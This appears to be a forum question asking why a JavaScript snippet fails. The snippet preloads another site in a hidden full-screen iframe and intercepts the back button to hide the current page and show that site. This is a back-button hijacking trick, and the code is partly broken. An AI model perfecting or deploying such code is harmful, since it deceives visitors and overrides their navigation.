preloading next page with iframe

what's wrong in this script? on the current page reading time i need preload next page in iframe and after click "back" button hide current page and open loaded site.

<script type="text/javascript">
    var w = window,
        d = document;
    w.addEventListener("DOMContentLoaded", function() {
        var ifr = d.createElement("iframe");
        ifr.style.width = "100%";
        ifr.style.height = "100vh";
        ifr.setAttribute("border", "0");
        ifr.style.position = "absolute";
        ifr.style.left = "0";
        ifr.style.top = "0";
        ifr.src = "https://tools.pingdom.com/";
        ifr.style.display = "none";
        d.body.appendChild(ifr);
        bajb_backdetect.OnBack = function(){window.history.back=function() {
            all = d.body.getElementsByTagName("*");
            for (var kek = 0; kek < all.length; kek++) {
                all[kek].style.display = "none";
            }
            d.body.style.overflow = "hidden";
            ifr.style.display = "block";
            alert('hello!'); 
            document.location="#";
        }};
    });
</script>